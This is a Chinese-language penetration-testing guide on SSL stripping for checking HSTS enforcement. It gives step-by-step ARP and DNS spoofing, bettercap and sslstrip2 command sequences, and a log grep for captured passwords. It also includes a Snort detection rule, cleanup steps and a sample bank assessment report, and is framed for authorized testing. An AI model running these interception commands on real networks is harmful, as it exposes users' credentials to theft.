killvxk 执行 SSL 剥离攻击
适用场景
- 测试 Web 应用是否通过 HSTS 头部和重定向链正确强制执行 HTTPS
- 验证 HSTS 预加载是否正确配置并已注册到浏览器预加载列表
- 在授权安全评估中向利益相关者演示明文 HTTP 的风险
- 评估内部应用和厚客户端（Thick Client）是否验证 TLS 证书并拒绝降级
- 培训 SOC 团队检测网络流量中的 SSL 剥离指标
不适用于在没有明确书面授权的情况下针对网络或应用使用，不得拦截真实用户凭据，未经变更管理批准不得在业务时间针对生产系统使用。
前置条件
- 书面授权，明确授权范围内的应用和批准的攻击技术
- 攻击机上安装 Bettercap 2.x 或 sslstrip2
- 建立 ARP 欺骗或其他中间人（MITM）定位（参见 ARP 欺骗技能）
- 攻击机上启用 IP 转发
- 使用 Wireshark 验证攻击成功并捕获证据
- 测试账户（非真实用户凭据）用于演示凭据拦截
工作流程
步骤 1：建立中间人位置
# 启用 IP 转发
sudo sysctl -w net.ipv4.ip_forward=1
# 通过 Bettercap 使用 ARP 欺骗进行定位
sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.50; arp.spoof on"
# 或者使用 dsniff 的 arpspoof
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1 &
步骤 2：使用 Bettercap 执行 SSL 剥离
# 启动带 SSL 剥离功能的 Bettercap
sudo bettercap -iface eth0
# 启用 ARP 欺骗
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
> arp.spoof on
# 启用带 SSL 剥离的 HTTP 代理
> set http.proxy.sslstrip true
> set http.proxy.port 8080
> http.proxy on
# 启用网络嗅探器进行凭据捕获
> set net.sniff.verbose true
> net.sniff on
# 监视拦截到的 HTTP 流量（原本是 HTTPS）
# Bettercap 将实时显示凭据和 URL
步骤 3：使用 sslstrip2 执行 SSL 剥离
# 配置 iptables 将 HTTP 流量通过 sslstrip 重定向
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
# 启动 sslstrip
sudo sslstrip2 -l 10000 -w sslstrip_log.txt
# 在另一个终端中监视拦截到的凭据日志
tail -f sslstrip_log.txt | grep -i "pass\|user\|login\|email"
# sslstrip 的工作原理：
# 1. 拦截包含 HTTPS 链接的 HTTP 响应
# 2. 将响应中的 https:// 替换为 http://
# 3. 维护与真实服务器的 HTTPS 连接
# 4. 向受害者提供降级后的 HTTP
步骤 4：测试 HSTS 绕过技术
# 检查目标是否有 HSTS 头部
curl -sI https://target-app.example.com | grep -i strict-transport-security
# 检查目标是否在 HSTS 预加载列表中
curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | python3 -m json.tool
# 通过子域名替换测试 HSTS 绕过
# sslstrip2 可以将 URL 替换为看起来相似的 HTTP 替代方案：
# https://accounts.google.com -> http://accounts.google.com（有 HSTS 则失败）
# https://accounts.google.com -> http://accounts.google.com.（尾随点绕过尝试）
# 使用 DNS 欺骗进行 Bettercap HSTS 绕过
sudo bettercap -iface eth0
> set arp.spoof.targets 192.168.1.50
> arp.spoof on
> set dns.spoof.domains target-app.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
> set http.proxy.sslstrip true
> http.proxy on
# 对于不在 HSTS 预加载列表中的应用，清除测试浏览器中的 HSTS 缓存：
# Chrome: chrome://net-internals/#hsts -> 删除域安全策略
# Firefox: 清除最近历史记录 -> 活跃登录（重置 HSTS）
步骤 5：验证检测和控制
# 从受害者角度检查：
# 1. 浏览器地址栏应显示 http:// 而非 https://
# 2. 无可见挂锁图标
# 3. 如果 HSTS 有效，浏览器应显示错误并拒绝连接
# 捕获降级的证据
tshark -i eth0 -f "host 192.168.1.50 and port 80" \
-T fields -e frame.time -e ip.src -e ip.dst -e http.host -e http.request.uri \
-Y "http.request" > ssl_strip_evidence.txt
# 验证受害者看到的与发往真实服务器的内容
# 受害者到攻击者：HTTP（80 端口，明文）
tshark -i eth0 -f "src host 192.168.1.50 and dst port 80" -c 20
# 攻击者到真实服务器：HTTPS（443 端口，加密）
tshark -i eth0 -f "dst port 443 and dst host <real_server_ip>" -c 20
# 检查 IDS/SIEM 是否有检测
# 应能检测 SSL 剥离指标的 Snort 规则：
# alert tcp any any -> $HOME_NET 80 (msg:"Possible SSL Strip - Login form over HTTP";
# flow:to_client,established; content:"type=\"password\""; nocase;
# content:"http://"; nocase; sid:9000010;)
# 检查缺失 HSTS 头部的告警
curl -s http://target-app.example.com | grep -i "password\|login"
# 如果登录表单通过 HTTP 提供，则 SSL 剥离成功
步骤 6：清理和报告
# 停止 SSL 剥离
# 在 Bettercap 中：
> http.proxy off
> arp.spoof off
> quit
# 移除 iptables 规则
sudo iptables -t nat -F PREROUTING
# 禁用 IP 转发
sudo sysctl -w net.ipv4.ip_forward=0
# 终止后台进程
sudo killall sslstrip2 arpspoof 2>/dev/null
# 验证网络已恢复
ping -c 1 192.168.1.1
核心概念
| 术语 | 定义 |
|---|---|
| SSL 剥离（SSL Stripping） | 降级攻击，拦截 HTTP 到 HTTPS 的重定向，在向受害者提供明文 HTTP 的同时维护与服务器的加密连接 |
| HSTS（HTTP 严格传输安全） | HTTP 响应头，指示浏览器在指定期限内仅通过 HTTPS 连接，防止后续访问中的 SSL 剥离 |
| HSTS 预加载（HSTS Preloading） | 将域名提交到浏览器维护的列表，从第一次连接起就强制 HTTPS，消除首次访问的漏洞窗口 |
| 证书透明度（Certificate Transparency） | TLS 证书的公开日志框架，可检测错误签发的证书，但不能防止 SSL 剥离 |
| 混合内容（Mixed Content） | 通过 HTTPS 提供但通过 HTTP 加载资源（脚本、图像）的 Web 页面，产生部分降级漏洞 |
| Upgrade-Insecure-Requests | CSP 指令，指示浏览器将 HTTP 请求升级为 HTTPS，补充 HSTS 以防止混合内容 |
工具与系统
- Bettercap 2.x：集成 SSL 剥离、HTTP/HTTPS 代理和凭据嗅探的网络攻击框架
- sslstrip2：专用 SSL 剥离工具，通过 URL 重写透明地将 HTTPS 降级为 HTTP
- mitmproxy：TLS 拦截代理，可修改响应头以移除 HSTS 和其他安全头部
- curl：用于测试 HSTS 头部、重定向链和证书验证的命令行工具
- hstspreload.org：公共 HSTS 预加载列表检查器，用于验证域名是否包含在浏览器预加载数据库中
常见场景
场景：测试某银行 Web 应用的 HSTS 实施
背景：某银行在其网银门户（banking.example.com）上部署了 HSTS，现在需要验证其是否有效防止 SSL 剥离。评估已授权在测试环境同一 VLAN 的工作站上进行测试，使用专用测试账户。
方法：
- 验证 HSTS 头部是否存在及其值：
curl -sI https://banking.example.com | grep -i strict显示max-age=31536000; includeSubDomains; preload - 检查 HSTS 预加载状态：确认该域名在 Chrome 和 Firefox 预加载列表中
- 在测试工作站上使用 Bettercap 进行 ARP 欺骗和 SSL 剥离
- 从测试工作站尝试访问 banking.example.com——Chrome 拒绝连接并显示 NET::ERR_CERT_AUTHORITY_INVALID（HSTS 阻止降级）
- 使用全新浏览器配置文件（无 HSTS 缓存）测试——仍被阻止，因为该域名已预加载
- 测试银行移动应用——应用通过 HTTP 成功连接（未强制执行 HSTS），以明文暴露凭据
- 测试子域名 api.banking.example.com——不在预加载列表中，首次访问前 SSL 剥离成功
注意事项：
- 使用已为目标域名缓存了 HSTS 的浏览器测试，得出 HSTS 有效的结论，但首次访问的用户可能仍然易受攻击
- 没有单独测试子域名——
includeSubDomains仅在收到父域名的 HSTS 头部后才生效 - 忘记测试可能完全不遵守 HSTS 头部的移动应用
- 未检查可能在启用 HSTS 的情况下仍泄露会话令牌的混合内容
输出格式
## SSL 剥离评估报告
**测试 ID**：SSL-STRIP-2024-001
**目标应用**：banking.example.com
**测试日期**：2024-03-15
### HSTS 配置
| 属性 | 值 | 状态 |
|------|-----|------|
| HSTS 头部存在 | 是 | 通过 |
| max-age | 31536000（1 年） | 通过 |
| includeSubDomains | 是 | 通过 |
| preload | 是 | 通过 |
| 在 Chrome 预加载列表中 | 是 | 通过 |
### SSL 剥离测试结果
| 目标 | 客户端 | HSTS 状态 | 剥离结果 |
|------|--------|-----------|----------|
| banking.example.com | Chrome（缓存） | 已激活 | 已阻止 |
| banking.example.com | Chrome（全新） | 已预加载 | 已阻止 |
| banking.example.com | 移动应用 | 未强制执行 | 易受攻击 |
| api.banking.example.com | Chrome（全新） | 未预加载 | 易受攻击（首次访问） |
### 建议
1. 在移动银行应用中实施 TLS 证书固定（严重）
2. 将 api.banking.example.com 单独提交到 HSTS 预加载列表
3. 添加 Content-Security-Policy: upgrade-insecure-requests 头部
4. 为该域名实施证书透明度监控